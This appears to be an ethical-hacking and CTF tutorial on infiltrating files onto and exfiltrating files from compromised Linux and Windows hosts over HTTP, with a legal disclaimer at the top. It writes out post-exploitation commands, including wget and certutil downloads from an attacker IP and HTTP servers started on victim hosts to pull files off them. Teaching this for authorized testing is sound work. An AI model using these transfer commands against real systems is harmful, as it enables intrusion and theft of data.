Quick Disclaimer: These are some of the techniques and tips I've picked up from ethical hacking and CTFs. But remember, performing these actions against networks or hosts you don't have explicit permission to do so is illegal. Don't break the law.
- Opsec Considerations
- File Transfer Scenarios
- HTTP Server Options:
- HTTP Client Options:
- Potential Firewall Issues
In the course of CTFs or Red Team engagements, there will come a point where you'll need to either infiltrate data (get files or programs on to the compromised host) or exfiltrate data (get files or programs off of the compromised host).
One of the simplest methods to achieve this is via HTTP, the same technology that powers websites.
It's important to note that HTTP is unidirectional, meaning that a client can download files from an HTTP server, but the server can't download files from the client. Additionally, the client can't upload files to the HTTP server. This is in contrast to file share specific protocols, like SMB or FTP, where clients can easily download and upload files to the server.
Side note: You technically can upload files via HTTP, typically using a
POST request. However, that requires the HTTP server to also be running an application that has been programmed to include that functionality. Because of that, I'd consider that to be a potential web-app vulnerability, instead of being a reliable option for data infil/exfiltration.
To visualize a simple HTTP data transfer, I've included the below graphic. In this scenario, the attacker has compromised the victim,
10.10.10.1, and has shell access on that machine, meaning they can execute system commands. The attacker needs to transfer a file,
file.txt, onto the victim. On the attacker's machine,
10.10.10.2, they start an HTTP server with
python -m http.server 80 from the directory containing
On the victim's machine, the attacker runs the command
wget http://10.10.10.2/file.txt, which downloads
file.txt from the attacker's HTTP server onto the victim's compromised machine.
Since the victim machine isn't running an HTTP server, however, the attacker can't download files from the victim back to the attacker's machine.
Before moving on to the scenarios, it's important to remember that the methods I'm describing here don't have any safeguards against unauthorized file access. Meaning, if you start an HTTP server on either your machine or a victim's, anyone on the same network as you will be able to access those files as well.
Additionally, depending on what directory you host the HTTP server from, all files and subdirectories of that folder will be accessible to anyone on the same network as you.
For example, if you're on a Linux host and run the
python -m http.server 80 while in your home directory, that will make all the files in your home directory publicly accessible, including any private keys in
.ssh/!!!. Before starting an HTTP server, it's always good practice to ensure you know what directory it will be serving files from. Better yet, create a new empty directory, and start the file server there. This applies both to when you're hosting the webserver on your attacking machine and when doing so from a compromised victim.
In each of the scenarios I'll be describing, I've randomly picked an HTTP client and HTTP server from the list of potential options to use. However, any HTTP client will be able to request files from any HTTP server. You'll need to find what client / server to use based off what you're most comfortable with using on your host, and what is available to you on the compromised victim.
The first scenario we'll look at is when you have shell access on a compromised Linux host, and need to download a file on to that compromised machine. This is the same scenario we looked at earlier, except in the below image, our attacking machine is using Apache for the HTTP server instead of Python.
Since the HTTP Server is being hosted from our attacking machine, that means that virtually any of the below Linux HTTP Server Options are available. On our own machine, we have full permissions to install any software needed, and run programs as
From the shell on the victim, however, we'll need to find
which binaries already exist on the victim that we can use to download files. Fortunately, that's easy in Linux using the
which <binary name> command. For example, if you'd want to see if
wget is already installed on the host you would just need to run the command
which wget. If the command returns a file path, the program is installed. If it doesn't return anything, you'll need to find another program.
Looking back at the scenario, the attacker has shell access on the victim, and found that
wget is installed. The attacker wants to transfer
file.txt onto the victim, so the attacker starts an HTTP server on his own host with
sudo service apache2 start. From the shell access on the victim, the attacker runs
wget http://10.10.10.2/file.txt which downloads the file from the attacker, onto the victim.
This second scenario is the reverse of the first we looked at. This is when you have shell access on a compromised Linux host, and need to download a file from that compromised host. Much like how we looked to see if
wget was available in scenario 1, in this case we'll need to check if one of binaries from Linux HTTP Server Options is available for us to use on the victim.
In the scenario below, the victim host has
Python 3 installed. So, from shell access on the victim, the attacker starts a
Python 3 HTTP server in the directory that contains,
file.txt. Then, on the attackers own machine, they use
wget to download
file.txt from the victim, back to the attacker.
note that the attacker and victim have switched sides in this image
This third scenario invovles the attacker having shell access on a Windows machine, and needing to transfer a file from their attcking Linux machine onto the compromised Windows host.
In this scenario, the attacker is running the webserver with
SimpleHTTPServer module, and using the Windows binary,
certutil.exe to download
file.txt from the attacking host.
certutil.exe is installed by default on Windows versions since Vista/Server 2008, but if we wanted to check for it's existence we could use the
where certutil.exe command from a cmd terminal, or
(get-command certutil.exe).Path in Powershell.
The fourth and final scenario we'll look at, exfiltrating data from a compromised Windows host, is not going to be viable in most CTFs or real-world situtations. This is because Windows Defender Firewall blocks all inbound traffic by default. That means that unless we can add a new firewall rule, or can take advantage of a misconfigured firewall, our attacking host won't actually be able to connect to the HTTP server on the compromised Windows host.
For this example, I'm assuming those rules are already in place, and that the attacker has the necessary privilege to start and stop IIS.
On the compromised Windows host, the attacker starts the IIS server with the
iisreset /start command. Then, from the attacking Linux host, the attacker uses
curl to download
file.txt from the victim machine back to the attacker.
The default port for HTTP traffic is port 80. When running a webserver on Port 80, most HTTP clients will assume that default port is being used, so it does not have to be specified. For example,
http://10.10.10.1:8000/file.txt. If you're using the non-default port, which in some instances will be unavoidable, just remember to specify the port in your HTTP client.
Python 3 we can use the built-in
http.server module to quickly and easily spin up an HTTP server. The syntax for the command is:
python -m http.server # or python3 depending on how python is installed python3 -m http.server
http.server module will default to using
port 8000 and serve files from the current directory. If you want
http.server to use
port 80, or specify a directory to serve files from, you can use the
--directory flag, and supply an integer value for port, which is the only positional argument the module supports:
# Will serve files from /var/www/html on Port 80 python -m http.server 80 --directory /var/www/html
Similar to the
Python 3 http.server module,
Python 2 has a module,
SimpleHTTPServer that can do the same thing. The sytax for that is:
# Will serve files from the current directory on Port 80 python -m SimpleHTTPServer 80
# Will serve files from /var/www/html on Port 80 pushd /var/www/html; python -m SimpleHTTPServer 80; popd
Unlike many of the other options here, Apache can be and oftentimes is used as a production webserver. Because of this, Apache has many more features, but the configuration for those features is stored in separate files, mainly
Using Apache as an HTTP server for data exfil/infiltration, however, comes with the huge caveat that in most cases starting and stopping the service requires
sudo, aka root access. When you're serving files from your attacking host, that's not an issue, but if you're trying to exfiltrate data from a victim you might not have root access.
Even if you don't have permissions to start/stop apache on a victim, you might still be able to use Apache to exfiltrate files via HTTP if you have write access to the directory that Apache is serving files from. By default this will be the
Starting Apache on Kali:
# Will start an apache server with the options from /etc/apache2/apache2.conf sudo service apache2 start
Stopping Apache on Kali:
# Will stop an already running apache server sudo service apache2 stop
Like Apache, Ngninx is also a production webserver that has a large market share. The default webroot for Nginx will vary depending on the OS and version that is installed, but some common Nginx webroots are as follows:
/var/www/html /usr/share/nginx/www /usr/share/nginx/html
Nginx for data exfiltration comes with the same caveats as Apache. If you're trying start or make changes to a running Nginx server on a compromised victim, you'll likely need root access. Otherwise, if you have write permissions to the webroot of an already running Nginx instance on a victim, you can still exfil data that way.
Starting Nginx on Kali:
# Will start an nginx server sudo service nginx start
Stopping Nginx on Kali:
# Will stop an already running nginx server sudo service nginx stop
simple-http-server is a cli based HTTP server written in Rust that has pre-compiled binaries for Linux, Windows and MacOS hosts. It's highly unlikely that this binary will be pre-installed on a compromised victim, but since it has no dependencies, if you can infiltrate the binary onto a victim host you can easily use it to run an HTTP server.
If you use one of the pre-compiled binaries, the start command will match the filename, otherwise the general syntax is as follows.
# Will start an http server on port 80 ./simple-http-server -p 80
The list I'm including here is by no means comprehensive. While I'm only listing some of the most commonly available methods / programs, there might be some instances where none of these programs are available, or their usage is restricted.
A great resource for finding programs that might grant you download capabilites via programs unbeknowst to sys admins is GTFOBins - File Downloads Filter.
Many Linux systems will come pre-installed with
wget, making it a great choice for downloading files on Linux over HTTP. Downloading files with
wget is very easy:
# Will download file.txt and save as file.txt wget http://10.10.10.2:8000/file.txt
Optionally, you can the
-O (capital letter O not zero) flag to specify the output filename.
# Will download file.txt and save as output-file.txt wget -O output-file.txt http://10.10.10.2/file.txt
Another program that's very commonly found on Linux systems is
curl defaults to displaying the output in the terminal instead of downloading files, however, you can easily save files with the
curl http://10.10.10.2/file.txt --output file.txt
As mentioned above in Windows Victim -> Linux Attacker, using HTTP for data exfil on Windows isn't generally a great choice, but these options are included for general awareness.
IIS, Internet Information Services, is a web server created by Microsoft for use with Windows hosts. Whenever you encounter Windows hosts serving HTTP, it's highly likely that they'll be using IIS. The default webroot for IIS is
C:\inetpub\wwwroot\. In order to start / stop an IIS server, you will need to be running as an Administrator, aka
NT Authority\System user.
Start IIS - cmd:
Start IIS - powershell:
Start-IISSite -Name "Default Web Site"
python 3 is installed, you can use the
http.server module. Note the addition of the
--bind flag with the ip
python -m http.server --bind 0.0.0.0 80
Much like the Linux list, the list of Windows HTTP clients here also by no means comprehensive. Windows has its own version of GTFOBins in the form of LOLBAS.
If your Windows access is a powershell environment, or if you're in
cmd and you can spawn a powershell environment with
powershell.exe, you can use the built-in function
Invoke-WebRequest to download files to Windows.
# Downloads file.txt and saves it as file.txt Invoke-WebRequest -Uri http://10.10.10.2/file.txt -OutFile file.txt
certutil.exe is a legitimate Windows program to download Certificate authority files. However, we can misuse this legitimate program to download files from any HTTP server that we specify.
certutil.exe -urlcache -split -f http://10.10.10.2/file.txt file.txt
In the scenarios I described above, it is assumed that there is either no firewall, or that the firewall has rules in place that will allow us to run any of the HTTP server / clients without issue. In CTFs / the real world, you'll often run into firewalls that have block rules in place to stop the kinds of HTTP transfers described above.
Firewall rules can be broken out into two distinct categories. Inbound rules and Outbound rules.
Inbound firewall rules control what happens when other computers try to access our local machine. For example, we could be running an HTTP webserver on port 80 locally accessible at
http://localhost:80, but if we have a firewall block rule on port 80 in place, no other computers will be able to access that HTTP webserver.
Windows Defender Firewall blocks all inbound traffic by default, and exceptions for individual programs / services are made from there. This is part of the reason why HTTP isn't a great choice for data exfiltration on Windows.
While Linux distros include a wide number of firewall programs available, they often won't be enabled by default or won't have restrictive inbound rules enabled by default like Windows does. This makes HTTP an easy way to quickly exfiltrate data from Linux systems, just remember the opsec concerns from earlier.
Outbound firewall rules tell the computer what to do when our local computer tries to access computers and resources on other computers. This can be other computers on our local network, or even websites out on the internet. You'll occasionally run into instances where outbound traffic on most ports has been blocked by firewall rules. However, HTTP traffic on port 80, and HTTPS traffic on port 443 are often allowed outbound rules, otherwise the computer wouldn't be able to access the internet.